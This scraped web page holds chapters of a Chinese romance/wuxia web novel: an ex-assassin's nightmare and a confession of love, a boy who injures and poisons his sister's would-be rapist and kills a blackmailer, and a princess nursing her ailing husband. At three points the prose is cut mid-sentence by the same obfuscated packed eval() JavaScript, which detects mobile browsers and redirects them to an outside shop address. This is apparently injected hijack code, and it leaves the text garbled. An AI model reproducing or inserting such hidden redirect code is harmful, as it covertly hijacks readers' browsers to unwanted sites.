夜兰沦落至柳叶门的那几年,这份痛苦被推至了顶峰。 她明明是那样恨着那些肆意玩弄人命的权贵之人,却又被迫成为他们手中的一把刀,做着肮脏而不见天日的勾当。 第一次任务过后,夜兰在溪边洗了很久的手。 手上血色已然不见,但她却觉得怎么洗,好像都洗不干净。 接下来便是第二次,第三次…… 刚开始,她还能记得自己杀了多少人。到后来,便再也记不清了。 夜兰生性善良,让她夺走无辜之人的性命,是比死还要难熬的酷刑,可她偏巧又没有一死了之的勇气。 她无数次想,萧氏先祖若是泉下有知,应当会以她为耻吧。 即便后来,她在司言帮助之下脱离柳叶门后,仍然会难以自抑地想起死后的事。 故渊门弟子大多热情良善、待人真诚,即便一开始因她是柳叶门出身而有所戒备,可后来在听说了她前半生的经历后,便对她多有照顾。那段时间,她的住处天天都有人来探访。 “师妹,一起去练剑啊!” “师妹,我从山下带了桃花酥,尝尝呗!” “师妹,天冷了,门主让我给你送点炭火来!” “……” 这些声音中,最常出现的,当属叶温遥。 故渊门上下所有人的热情,一点一点捂热了夜兰凝结许久的心,让她感觉到前所未有的温暖,以及……前所未有的遗憾。 如果她能早一点遇到司言,早一点来到故渊门就好了。 也许,她的手上就不会沾满无辜之人的血。 也许,她就不会像现在这般厌弃自己。 也许,她还有机会拥抱新的人生。 …… 她喜欢叶温遥吗? 大抵是喜欢的吧…… 夜兰想,没有人在面对那样热烈而不求回报的感情时,能够不为所动。 可是……叶温遥究竟喜欢她什么呢? 喜欢她肮脏的过去?喜欢她造下的杀孽?喜欢她迷茫无望的未来? 夜兰想不明白。所以,她便更加不敢正视叶温遥的爱。 那样的爱,无论如何都太刺眼,太不真切了。 鸦青觑着她的神色,过了好一会儿,叹了口气,说道:“夜兰姐姐,有没有可能,不是我将事情想得太过简单,是你想得太过复杂了呢?” 夜兰陡然回神,“嗯?” “鸦青不懂那么多道理,鸦青只知道,若是两情相悦,天崩地裂皆不可挡。” 夜兰被这番话都笑了,“又偷偷溜下山去听说书了?” “我这是真心话。”鸦青不服气地道,“总之,夜兰姐姐若是不信,便等着吧。” “好,好。”夜兰不再辩驳,只是无奈地笑笑。 …… 夜里,夜兰做了个梦。 她再一次梦见自己肮脏的、不堪回首的过去。 梦境之中大雨连绵,阴霾无边。她手中握着一把刀,而面前,是一群瑟瑟发抖、手无寸铁的老少妇孺。 夜兰永远不会忘记这些人的脸,因为,那是她第一次杀人。 这次任务,是要为某个大人物灭口一位官员的家眷。因为内容简单,被指派给了刚刚加入柳叶门的夜兰。 夜兰望着记忆中这一幕,蓦地睁大了双眼。 面前众人惊惶不安地抱在一起,神情越发凄惨绝望。他们眼中凝聚起来的无限恨意,化为无数利刃,扎向夜兰的心口。 “我不想,我不想……”夜兰忍不住痛苦地颤抖起来。 可是有个声音在她心里一遍又一遍地质问着:“你想活着,难道那些人就该死吗?” 夜兰猛地抬起头,却发现方才活生生的人,瞬息之间已成刀下亡魂。他们的身躯拥抱着交叠在一起,鲜血汩汩而出,如溪般流淌。 夜兰惊惶地低下头,却见手中短刀早已被鲜血浸得看不清颜色,衣袖上、手上,皆是触目惊心的赤红…… “啊……啊……” 手一松,短刀便落在了地上。 夜兰在雨夜里崩溃地哭号,却没人能将她从深渊之中挽救出来。 方才的场景已化作一团混沌。目之所及,只有一片黑暗。 无尽的黑暗…… “夜兰?夜兰!” 好熟悉的声音,是谁在叫她? “夜兰,你醒醒!” “夜兰!” 她猛地惊醒,坐起身来,惊魂未定地大口喘着气。 紧接着,便落入一个坚实而温暖的怀抱。 “没事了,没事了啊……” 叶温遥一下又一下地拍着她的背,温柔地哄着。 过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149644|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很久,夜兰才从刚才的噩梦中回过神来,后知后觉地发现自己在叶温遥的怀抱里。 这个怀抱实在是太温暖了,温暖得让她舍不得放手。 片刻之后,夜兰终是松开了怀抱,有些窘迫地说道:“多谢叶师兄。” 怀中突然空了,叶温遥有些失落,但很快便重新挂上了笑容,关切地说道:“举手之劳罢了,师妹可是做噩梦了?” 夜兰点了点头,并未再说什么。 叶温遥方才听到她梦中呓语,大抵知晓这噩梦的内容是什么,便也知趣地没再多问。 夜兰长呼一口气,抬头望向叶温遥,“叶师兄何时回来的?这么晚了,为何……会来我这里?” “哦,哦……”叶温遥这才想起了此行的目的,拿起方才随手放在床边的几株兰花,递给夜兰,“这是我从闵川郊外山谷里带回来的兰花,送给你。” 夜兰微微睁大双眼,有些难以置信,“江南到闵川三百多里,你是怎么把它带回来的?” “我问了问当地养花的师傅,若是养护得好,就算活个十天半月也不成问题。只是……”叶温遥讪讪地笑了笑,“它还是快枯完了。” “你这一路骑马吹风的,花自然干得快。”夜兰觑着他眼下的乌青,有几分心疼地埋怨,“你说你,日夜不停地赶回来,就为了送这一株花。是花重要,还是身体重要?不过是几株兰花,哪里就见不到了?” 谁知叶温遥油盐不进,听她这话,眼前一亮,“师妹,你这是在关心我吗?” 夜兰有些语塞,微微撇过头去,“懒得和你讲……” 叶温遥笑得更开心了。 待高兴够了,他敛起神色,认真地说道:“花当然没那么重要……见你比较重要。” 夜兰怔住了。 叶温遥有些局促不安地挠挠头,手都不知道该往哪放,“怎,怎么了,是我这些话太过唐突吗,对,对不起。” 夜兰摇了摇头。 “啊,那就好……”叶温遥这才松了口气。 夜兰看着他小心翼翼却又倍感喜悦的神情,一时之间有些恍然,“叶师兄,我可以……问你一个问题吗?” 叶温遥想也不想就一口答应,“当然可以。” “师兄,你到底为什么……”夜兰深吸一口气,“为什么会喜欢我呢?” “啊?” 夜兰面色微微泛红,似是觉得不好意思。但话既已出口,便没有收回的道理了。 她干脆破罐子破摔地道:“叶师兄,你明知我从前是怎样的人,为什么还会喜欢我呢?我身上,还有未尽的仇恨,迟早有一日,我是要去寻仇的……你这样好的人,不该为我所累。” 夜兰本以为说完这番话,就能坦然地将二人间不清不楚的关系彻底终结。但不知为何,心头却泛起阵阵恐惧来。 她竟然在害怕,害怕叶温遥真的幡然醒悟,就此离开。 但叶温遥却只是轻声说道:“可是,我并不在意啊。” 夜兰猛地抬头望向他。 “你从前是良人也好,恶人也罢,我既知晓你的过去,便是喜欢你的所有。至于喜欢,又何来那样多的理由呢?”叶温遥眸中仿佛盛着一汪细腻温柔的池水,“夜兰,师兄懂得不多,但师兄知道……已往不可谏,来者仍可追。” “无论后面会发生什么,让我陪着你吧。” 月光之下,叶温遥神色坚定,眉眼温柔,宛如降世之神明,用汹涌的爱将她这颗破破烂烂、千疮百孔的心紧紧包裹,再小心翼翼地填填补补。 “师兄。”夜兰听见自己说道,“你送我的花,我很喜欢。” 不知不觉间,她的声音也沾染了几分笑意。 92. 番外二:不若愚人 这世上绝大多数人,都是些碌碌无为的庸人。他们天赋有限,却又生得平凡,终其一生,也无法触及上位者的世界,哪怕连一片衣角都摸不着。 但最可怕的是,他们从来都意识不到这是一件可悲的事,只是日复一日、周而复始地做着最底层的生计,满足地活在上位者精心编织的谎言之中,甚至还要为了他们施予的小恩小惠而感恩戴德,歌颂贤明。 而云洛不一样。他从小便知道,这个世道,一点也不公平。即便是被誉为“盛世”的天曜年,也远远算不上干净。 若非如此,他与阿姐为何会生于北境苦寒之地,日夜忍受北风凛冽、霜雪催折?又为何因为身上有一半羌夷蛮族的血脉,便要受人排挤、遭人凌辱? 因着羌夷族与大昭的世仇? 呵,说得倒是好听。 不过是因为自己的生活太过凄惨,便要寻一个冠冕堂皇的理由来宣泄内心的苦楚,堂而皇之地施加暴行。 这样的世道,一点也不公平。 他不常把这些心里话宣之于口,只是偶尔会在云熙面前发一两句牢骚。 云熙每每听说这些话语,只当他是孩子心性,温声哄劝道:“没关系的,洛洛,你有阿姐就够了。” 是吗……有阿姐,就够了…… 年幼的云洛将自己整个人蜷缩在阿姐的怀里,贪婪地细嗅她身上暗香,郁郁难平的内心方才得到几分缓解。 他想,阿姐也和这世上绝大多数人一样,只是悲哀而徒劳地寻找着生存之道,却从未想过规则本身的问题。 所以后来,那些牢骚话语,他也不再同云熙讲起,而是默默藏于心中。 即便如此,他也从未苛责云熙。毕竟,云熙是这世间唯一与他骨血相连之人,也是唯一疼他、爱他的人。 为了养活自己和弟弟,云熙去了一户官宦人家做丫鬟。 这家府上有专供下人住宿的屋舍,在经过家主同意后,云熙便带着云洛一同住了进去。 其实无论住在何处,云洛都不在意,只要能和阿姐在一起就好。可当他第一次见到那家主看向阿姐的眼神,便直觉不对—— 赤裸裸的打量中包含着浓浓的痴迷,以及不加掩饰的色欲。 恶心,太恶心了。 云洛恨不能把他的一双眼珠子挖下来。 他一直知道阿姐生得貌美,是世间不可多得的美人。诸如此类的眼神,他并不陌生。 …… 云熙在这家的日子并不好过。 老爷虽然喜欢她,却只当她是个被关在笼子里,可以随意逗弄的雀儿。高兴时,便施予些小恩小惠,不高兴时,则变着花样地体罚羞辱。 这家夫人是大户人家出身,身份尊贵,脾气又大,对云熙更是没什么好脸色,三天两头便要去寻她麻烦,好教她休想妄图攀上高枝变凤凰。 但也正是因为夫人太过暴躁强横,才为云熙挡下许多次家主的骚扰。 尽管如此,每日夜里回到住处的时候,云熙依旧强打着精神,微笑着面对云洛,温柔地说道:“洛洛,阿姐回来啦。” 长姐为母,这一点在云熙身上展现得淋漓尽致,即便她并不比云洛大多少岁。 但云熙不知道,自己万般呵护宠爱的弟弟,其实根本不像她以为的那样乖巧单纯。 在她看不见的时候,云洛悄悄地将那些曾经欺辱、嘲讽过阿姐的人记下来,再悄悄施予报复。 只不过,以他当时的能力,能做到的事情实在有限。所谓“报复”,充其量算是些无伤大雅的整蛊。 这样表面平静的日子一天天过去。某次,夫人回娘家探亲,一连许多日都不在府上。家主再也无法忍耐内心的兽性与渴望,将云熙召来书房,强迫她发生关系。 云熙未曾料到他会突然发难,立时惊慌失措地想要推开他。 家主却不肯放过这个千载难逢的机会,直接将她扑倒在地。平日里惯会读圣贤书的体面人,待撕下那身皮囊之后,本质里竟同野兽没什么区别。 云熙绝望而无助地呼嚎着,可四周佣人皆被遣散,整个院子里只有他们二人。无论她如何叫喊,也不会有人回应。 身上衣物被撕扯开来,大片肌肤裸露在外。云熙合上了眼,眼角淌出泪水。 没有人会来救她了…… …… 意料中的疼痛迟迟没有到来。黑暗之中,云熙听到一声闷响,随后,那人便重重地压在了自己的身上。 她猛地睁开眼,就见前一秒还在她身上作乱的人,此时此刻已然昏了过去。 那人后脑被砸出一道口子,正淌出血来,周围地面上散落着染血的瓷片。 而她的弟弟,正站在她眼前,大口喘着粗气,双手不住颤抖。 “洛……洛……”云熙惊异地睁大了双眼。 不知道是不是错觉,那一瞬间,她好像在云洛眼中看到了一种前所未有的情绪,似是阴鸷,似是痛恨…… 可是这样的情绪,怎么可能会出现在一个孩子身上? 还不待她细想,下一秒,云洛便跌坐在地上,瑟瑟发抖起来。 “洛洛!”云熙立时将方才一念之间的想法抛在脑后,从家主昏迷的身躯之下爬起身来,来到云洛身边,将他抱在怀里,“没事了,没事了。” 果然是她看错了。云洛还是个孩子,陡然见到这种场面,难免感到害怕,下手失了分寸也是正常的。 只是…… “洛洛,你怎么跑到这里来了?”云熙又是疑惑又是关切。 云洛自然不会告诉阿姐,他一早猜到那禽兽要趁夫人不在时对阿姐下手,便悄悄跟来。 而他用花瓶将人砸晕后会跌在地上发抖,也根本不是因为害怕,而是因为耗尽了全部的力气。 如果他再高大强壮一点,此时此刻趴在地上的,就该是一具尸体了。 云洛没有正面回答她的问题,“阿姐,现在不是说这个的时候。” “你,你说得对……”云熙深吸一口气,看着倒在地上一动不动的家主,有些手足无措。 “别慌,阿姐。”云洛抓紧她的手,“你去院子外面叫人,就说有野猫进了书房,把架子上的花瓶撞倒,正巧将老爷砸晕过去了,叫他们赶紧喊大夫来。” 从私心上讲,云洛其实巴不能趁这禽兽昏过去的时候,再给他脑袋上来一下。但倘若真将人弄死了,他们姐弟二人绝对走不出这个院子。 再者,他并不想在阿姐面前做出太出格的事。 阿姐是个善良到有些天真的人,若是被她知道,自己亲手带大的弟弟其实是个冷漠偏执、不择手段的小怪物,一定会吓晕过去吧。 云熙绞着手指,不安地道:“这个理由,能行吗……” “老爷醒后,应该会派人审问阿姐。不论他们如何审,阿姐只需一口咬定是野猫做的就好。若审问的过程实在煎熬……”云洛神色认真,完全不像这个年纪的孩子应该有的样子,“阿姐就如实告诉他,是我干的。” 云熙完全没想过,在如此艰难窘迫的情形之下,幼弟竟远比她要沉着冷静。 “阿姐绝对不会把你交出去。”云熙眸中坚定了几分,视线陡然清明,“洛洛,今日之事是个意外,与你我二人没有关系,阿姐会应付好的。” 云洛点点头,“阿姐,一切小心。” …… 接下来的发展就如同云洛想的那样。 云熙衣衫不整地跑到院外大声呼救,原先被家主遣散的护卫见状皆是一惊,跟随着云熙回到书房。 众人手忙脚乱地将人抬到卧房去,又叫了大夫来。 云洛力气小,砸的这一下并不严重。没过多久,那人便醒了过来。 强行与婢女发生关系时晕了过去,还被那么多护卫瞧见,换做是谁,心情都不会太美妙。 听云熙说,他会受伤,是被野猫推下来的花瓶砸到了头。但他根本不记得当时书房里有野猫的动静,对这一说法将信将疑,就下令将云熙关进了柴房,命人看管审问。 可无论如何审,云熙口中的说法都未曾变过。即便后来用云洛作以要挟,她依然不肯改口,认定此事只是个意外。 …… 她当然不可能改口。 事发之时,她被家主压在身下动弹不得,没法将伤人的罪行揽在自己身上。若要说出真相,才是真正对云洛不利。 而另一边,在云熙被关进柴房后,云洛便哭闹着要找阿姐。管事被他吵得头疼,将他揍了一顿,没有再理。 因此也就没人想得到,造成家主被砸伤的始作俑者,以及在背后掩盖真相之人,正是这个哭哭啼啼要寻阿姐的孩子。 调查一时无果,家主心中松动,开始怀疑他脑袋上的伤是不是真是野猫干的了。 但即便如此,他也不愿意轻易放过云熙——那日若非云熙挣扎不从,他怎么会在众人面前出这么大糗? 待他家母老虎回来,少不得又要跟他闹。 想到此处,家主心中越发烦躁,便将云熙继续在柴房里关着。 云洛见阿姐一直没回来,心一点一点冷了下去。 云洛本没指望这些装模作样的上位者,能将他们这些无权无势的平民百姓当作堂堂正正的人来看。 但阿姐是他唯一的底线。 即便有一日,他彻底堕入黑暗,也希望阿姐能够行走于光明坦途。 在王府的这些时日,云洛一直在默不作声地观察着自己可以接触到的人,无意间发现下人院落北面墙角处有一个老鼠洞。每隔一段时间,就会有人将老鼠药制成药丸,送到洞口处。 四下无人之时,云洛悄悄地偷了一点回来,藏在衣服里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182530|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而后,他又去膳房外蹲守了几日,大致摸清楚膳房的换班规律,以及家主每日喝药的时间。终于蹲到一个无人看管的机会,将那些老鼠药掺进了正在煎熬的药里。 云洛是第一次做这种事。即便他内心再早熟,也难免感到紧张。 谁知刚从膳房出来,便迎面撞上了一个人——他和云洛一般大小,同样是府上下人的亲属。 云洛立时警觉地看向他。 “这么紧张啊,做什么坏事了?”那少年笑眯眯地看向他,一副不怀好意的样子。 少年从前就看不惯云洛那副谁也瞧不上眼的样子,如今总算让他抓住把柄了。 云洛强压下内心的冲动,不动声色地道:“你在说什么?” “装,你还在装。”少年得意洋洋地道,“我注意你好几天了,每日都往膳房跑,果然是来偷东西吃的吧。你的好姐姐可还关在柴房里出不来呢,需要我帮你把这事儿禀报给老爷吗?” 哦,原来什么都没看到啊。 云洛稍稍放下心来,心中骂了一句蠢货。 “你想让我做什么?”云洛问。 “哼,先将你身上的钱交出来吧。”少年跋扈地说道。 “我身上没钱。” “没钱?那你等着被老爷赶走吧!” “等等。”云洛叫住了他,“我身上没钱,但我可以回房间拿给你。” “好啊,那走啊。” “现在不行,白天房间里还有别人,被瞧见了不好。”云洛又道。 “烦死了,你到底还想不想在这待下去了?”少年有些不耐烦。 云洛淡淡地说:“这样吧,今夜丑时,咱们在院子东南角的枯井旁边见,我把所有钱都给你。” 少年挑眉看他,“真的?别是想耍什么花招吧?” “把柄在你手上,我能耍什么花招?”云洛说道,“若我今夜不来,你大可把今天的事儿禀报给老爷。” “哼,成交。” …… 那天真的少年无论如何也想不到,自己短暂的生命就要走向终结。 当他还沉浸在未来要如何指使云洛的幻想中,一双手便将他推下了枯井。 毫不犹豫,毫不手软。 而此夜,无人会在意这偏远的一角,因为原本好端端的家主突然开始呼吸困难、口吐白沫,直接昏死了过去。 整个府邸被笼罩在巨大的不安之中,上上下下乱作一团。 越来越多的人被外面的嘈杂声惊醒,越来越多的人陷入不安与迷茫中,只怕府上出了事,他们便再一次没了维持生计的活计。 故事的结局最终没能如云洛所愿——他偷来的那点老鼠药的计量,远不够毒死一个人。 大夫诊断出家主是被人下了毒。恰逢夫人回府,她立刻接手了所有的家务事,下令彻查下毒之人。 盘查十分严格,府中人人自危。 而被关在柴房一个月的云熙,阴差阳错地成了全府上下嫌疑最小的人。 这件案子最终也没能查出个结果来,家主虽然捡回一条命,身子骨却基本废了。 夫人得了势,直接将这碍眼的云家姐弟二人赶出了府。 离开那日,云熙虽然有些迷茫,但还是蹲下身来,紧紧地抱住了云洛,“洛洛,忘了在这里发生的一切吧。” 云洛缩在阿姐怀里,汲取着她身上的温暖。 他当然知道阿姐要让他忘了什么。 阿姐要让他忘了,自己相依为命的长姐差点在他眼前为人糟践,而他为了保护阿姐,举起花瓶,毫不留情地砸向了那个禽兽的后脑。 阿姐天真地以为,只要忘了这件事,他便还是那个不染尘埃、干干净净的孩子。 可是阿姐,倘若他……已经回不去了呢? 在云熙不知道的时候,他的手上,已经沾上了人命。 可云洛不后悔,若是再来一次,他依然会让伤害了阿姐的人偿命,也会毫不留情地除掉碍眼的杂鱼。 若说遗憾,大抵是没能直接将那个禽兽毒死。 云洛这辈子,没做过什么后悔的决定。 直到多年以后,长祈城前。 他的阿姐,为了他而深陷囹圄、不得自由的阿姐,站在城墙之上对他大声呼喊:“洛洛,千万别做傻事!一旦拿起了屠刀,这辈子就放不下了!” 阿姐啊…… 他早就回不去了…… 也许是出于姐弟间的心灵感应,那一刻,云熙已然明白了他的选择。 她像一只折翼的鸟儿,于高墙之上坠落,在城门之前,绽开一朵妖艳的血花。 过去筹谋的一切,在此时此刻都尽数崩塌。 “阿姐!!!” 纵有万般悔恨,终究无力回天。 如果有来生,他不要玲珑心窍,惟愿做一愚人。 93. 番外三:破土而生 最开始的时候,乐瑶与戚思彦的婚事并不在任何人的意料之中。就像是圣上的一个突发奇想,轻飘飘地在万人之前宣告,没有一丝商讨的余地。 这个中原因其实也不难想。 乐瑶受宠,却无权势。若无圣上庇佑,日子定然没有现在这样好过。 促成这桩婚事,一是因为戚思彦德行过人,家世又好,是值得托付之人。二来,是为了防止戚家与京中豪门联姻,扩张势力。 无论如何,一开始,没人觉得这位温良谦恭、冷静自持的戚家二公子,能和娇生惯养、骄矜自傲的小公主过到一起去。 更不必说,京中上下谁人不知,九公主李乐瑶崇尚英雄,平日里最厌烦那些慵懒脆弱的公子哥。而戚思彦,可恰恰是个靠药续命的病秧子。 事实上,很多人并不了解公主的为人。乐瑶只是高傲,而非跋扈。对于镇守边境、为国为民的景西王一家,自是心怀敬佩。对戚思彦,也绝无轻慢之心。 她讨厌的,从来就只有这纸不曾问询过她心意的婚约。 乐瑶受宠,便以为自己此生能够嫁个心爱之人。却不想圣上赐婚,打碎了她所有的愿望和希冀。 她不愿就此认命,也害怕辜负了戚思彦这样值得敬重的人。 未成想,戚思彦先一步看穿了她的意思,温柔地替她解了围—— “男女之情原就是强求不来的,喜欢谁,或不喜欢谁,都是你的自由。待日后,皇上不再惦念此事,我们再找个机会和离,可好?” 乐瑶一时间不知该如何形容自己的心情。按说这番话确实说到了她的心坎上,但她总觉得心里空落落的。甚至……有些愧疚。 她突然觉得,自己应该更多地了解一下这位婚约对象。 …… 世人皆知,戚思彦并不是在京城长大的。 十六岁以前,他一直生活在西北边境,跟随父兄上过好几次战场。想来在西北那地方长大,应当也曾是个意气风发、豪爽直率的少年英雄。 想到戚思彦如今举止端方、病弱不堪的模样,乐瑶有些想象不来他曾经的样子。 而造成这一切的转折点,便是许多年前西北边境那场暴乱。 乐瑶向一些人打听了那场动乱。可她所相熟之人,也都是土生土长的京城人,对于这事的了解,并不比她多多少。 说来说去,能得到的信息无非也就那几条。 “天曜十五年,西北边境爆发动乱,景西王妃身殒,戚家二公子戚思彦身中奇毒,落下病根,从此再不能武……” 面对这样寥寥数语,乐瑶敏锐地察觉到一个问题—— 为何受伤的会是戚思彦? 若这世上真有这样烈的奇毒,能让一个自小习武的人彻底坏了身子,留下病根,再不能武,为何不直接将其大规模地投入到正面战争之中? 十余年来,乐瑶可从未听说西北边境出过什么奇毒之患。为毒所毁的,似乎就只有戚思彦一个人。 乐瑶猜想,也许是因为此毒的制备条件太过严苛,而下毒的机会更是千载难逢。 若真是如此,事情就更加蹊跷了。 连她这个不曾上过战场的女儿家都知道擒贼先擒王的道理,赫月蛮族的将领没道理将这份杀人利器用在一个初出茅庐、未露锋芒的孩子身上。 除非…… 中毒一事,本不是戚思彦应当承受的灾祸。 想到这种可能,乐瑶的心渐渐沉重起来。 直到定州一难过后,阿柔归京,乐瑶主动询问,从她口中得知了真相。 “他们想要下手的对象,本应是少年成名、骁勇善战、获封世子,将领之才比我爹还要更胜一筹的大哥。就在淬了毒的暗箭即将刺入大哥胸膛的那一刻,二哥挡在了大哥的身前。” 戚思彦很温柔,对待亲近之人,无论何时都带着温和的笑意,似乎从来不舍得生气,令人感到踏实又温暖。 戚思彦很强大,他热爱着西北大漠的雄鹰与战马,热爱着恣肆昂扬、意气风发的少年时光,却能为了至亲家人,甘愿斩断所有过往,将所有的少年意气封存于病弱的躯壳之中,从此再不提起。 时至今日,乐瑶终于知晓,将要与她命运相连的,是一颗怎样温柔而强大的灵魂。 …… 成亲之后的很长一段时间,二人的关系都十分尴尬。 他们年龄相差很大,性情又全然不同,能聊到一处去的话题更是少之又少。 最要命的是,二人并不知晓对方对自己的看法是怎样的。 戚思彦喜欢乐瑶,却认定乐瑶不会喜欢上像他这样苍白如纸的病秧子,因此在她面前将“克己复礼”四个字发挥到了极致。不仅主动要求分房,也对她极尽礼待,不敢逾矩。 乐瑶对戚思彦的感情,更多是尊敬与感激,而非男女间的情愫。她有意探寻戚思彦身上鲜活的一面,却有些无从下手。 戚思彦对她很好,总能敏锐地感知到她的需求和愿望,并默默解决。 乐瑶练剑遇到瓶颈,戚思彦便请了江湖剑客来指导。 乐瑶受邀参加宴会,戚思彦提前为她准备好衣服,并问她是否需要自己陪同。 乐瑶在外面玩得忘了时辰,戚思彦也总是亲自接她回家。 就连乐瑶随口一句“有点想念城东铺子的桂花糕”,戚思彦也会记在心里,下朝之后专程绕路去买。 情愫如同一粒种子,种在心田之间,在细水长流的滋长之下,逐渐破土而出,长出新芽,悄然绽放。 …… 夜里,乐瑶翻来覆去睡不着觉,满脑子都想着自己与戚思彦相识以来的一点一滴。她不敢细想自己如此在意他的原因,更不知该以何种心态面对这份说不清道不明的感情。 正当胡思乱想之际,乐瑶却听得外面吵吵嚷嚷。隔着纸窗,隐隐能看到移动的火光,似是有人提着灯来回走动。 乐瑶心里有些不安,披上外衣出了门,随手抓了个侍女问道:“这是怎么了?” 那侍女神色匆忙,快速解释道:“二公子突然发了热,烧得厉害,我去喊大夫来。” 乐瑶心下一惊,顾不得许多,直冲着戚思彦的房间去了。 还未进门,便听得里间传来撕心裂肺的咳嗽。 “彦哥!”乐瑶急切地冲了进去,三步作两步地来到戚思彦的床边,蹲下身去查看他的情况。 戚思彦紧紧拧着眉头,咳得很艰难。他的皮肤很白,面上却泛起不正常的潮红,不知是烧的,还是咳得太过用力。 乐瑶一时间有些手足无措,只能一边抓着他的手,一边尽力撑着他虚弱的身体,让他不至于脱力倒下。 明珠端了温水来,示意乐瑶喂给他。 乐瑶接过水,扶着戚思彦,“彦哥,喝点水。” 戚思彦借着她的力,艰难地小口啜饮。 仅仅只是这样简单的动作,戚思彦躺回床榻之后,依然喘息了好一阵。待缓过之后,他才勉强开口道:“你怎么来了?” “我……睡不着,听到外面有动静,过来看看。” “抱歉……” “你道什么歉?又不是你扰得我睡不着觉……” 乐瑶话说到一半止住了,她突然意识到,造成她夜不能寐的原因,其实还真有戚思彦一份。 戚思彦病得迷迷糊糊,没注意到她这片刻的愣神,只是低声说道:“不必管我,早些歇息吧。” 乐瑶回过神来,很不认同地说道:“那不行,你都这样了,怎么也得等大夫看过再说。” 戚思彦张了张口,还欲再说些什么,乐瑶抢先道:“好了,你就不要再说话了。省省力气,好好休息,反正我是不会走的。” 戚思彦终于没再说什么。 等到大夫匆匆赶来之时,戚思彦已经昏睡了过去。 大夫轻车熟路地搭上脉搏,又问了明珠几个问题,随后对乐瑶说道:“天气转凉,二公子这是受了寒,身子骨又弱,才会如此,夫人不必过多忧心。” 乐瑶还是有些放心不下,也没功夫纠正“夫人”这个称呼,只是问道:“真的没事吗,他看起来很难受。” 大夫只是叹了口气,似乎对此类情况早已习以为常了,“每逢天气骤变的时候,二公子总是会难受上一阵的。” “你的意思是,没有别的法子,就只能这样捱过去?”乐瑶皱眉。 “这……唉……” “我知道了。”乐瑶说道,“劳烦大夫开药吧。” …… 药煎好时,乐瑶将戚思彦叫醒了一次。待喝过药后,他很快又昏睡过去了。 明珠劝乐瑶先行休息,乐瑶却心事重重地摇了摇头。明珠见状,不再相劝,主动退到外间去,将空间留给了二人。 乐瑶不太能分辨,现在的自己对于戚思彦到底是一种怎样的感情。 她自小受宠,从来没有亲力亲为地照顾过什么人。但是此刻,看着眼前这个面容清俊、瘦弱异常的人,苍白脆弱地躺在那里,皱着眉头,似乎在极力忍耐痛苦的模样,莫名觉得自己的心也酸涩肿胀起来,泛着细细密密的疼。 乐瑶意识到,她是在心疼。 心疼这个单薄如纸的青年,本可以做西北大漠一只翱翔天际的雄鹰,却为命运所累,斩断羽翼,自囚于长祈城的方寸之中,终日受病痛催折。 乐瑶不自觉地伸出手来,想要抚平他眉间的皱痕。 她的指尖不算冷,对于高烧的病人来说却凉凉的,很舒服。就在指尖触碰到眉心的那一刹那,戚思彦当真舒展了眉头,看起来稍稍放松了一些。 还不待乐瑶松一口气,床上那人身形一动,直接将她的胳膊抓住了,嘴里还在呢喃着什么。 乐瑶有些意外,没想到一向成熟稳重的戚思彦,在无意识的时候,竟也会有如此黏人的一面。 她未曾挣开,任由戚思彦这么抓着,蹲下身去凑近他,想听清楚他在说什么。 下一秒,她却愣在了原地。 “乐瑶……乐瑶……” 戚思彦在唤她的名字。 心头瞬时如擂鼓一般狂跳不止。在乐瑶不自知的时候,连她的语气都染上了几分小心翼翼的期待,“彦哥,我在,怎么了?” “乐瑶……” 也不知戚思彦有没有感受到她的回应,声音越来越小,说出的字句越来越细碎,让人听不清他到底在说什么。 可乐瑶还是听清了他说的最后一句话—— 那是一句微不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252564|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻,又带着一丝哽咽的梦呓,“别走……” 乐瑶:“!” 她是……听错了吗? 她与戚思彦成婚不过数月,相交寥寥,戚思彦怎会在梦中唤她的名? 乐瑶不知该如何形容自己此刻的心情,却鬼使神差地在他耳畔轻声说道:“我不走,彦哥,乐瑶不走。” 而后,戚思彦竟真的平静了下来,唇角也沾染了几分笑意。 一直到天亮,戚思彦都睡得很沉,不再被梦魇惊扰。 …… 戚思彦醒来之时,已近正午。今日正逢休沐,倒也省去了请假的麻烦。 明珠端着药进了门,见他醒了,有些高兴地道:“二公子,你醒了。” 昏睡了一整夜,身上有些酸胀,头也隐隐作痛。虽然夜里喝过了药,但此刻还是不太舒服,使不上什么劲来。 就连喝药,也变成了一件费劲的事。 放下药碗后,戚思彦努力回想着昨夜的事情。 这病来得又凶又急,他的意识昏昏沉沉,只能感觉到周围不断有人来来往往。记忆的最后,是乐瑶担忧的神色。 戚思彦抬头看向明珠,“乐瑶呢?” 明珠回答道:“我早上进来时,看到公主趴在床边睡着了,就叫人送她回房间休息去了。” 戚思彦一怔,“她在这里陪了我一整夜?” 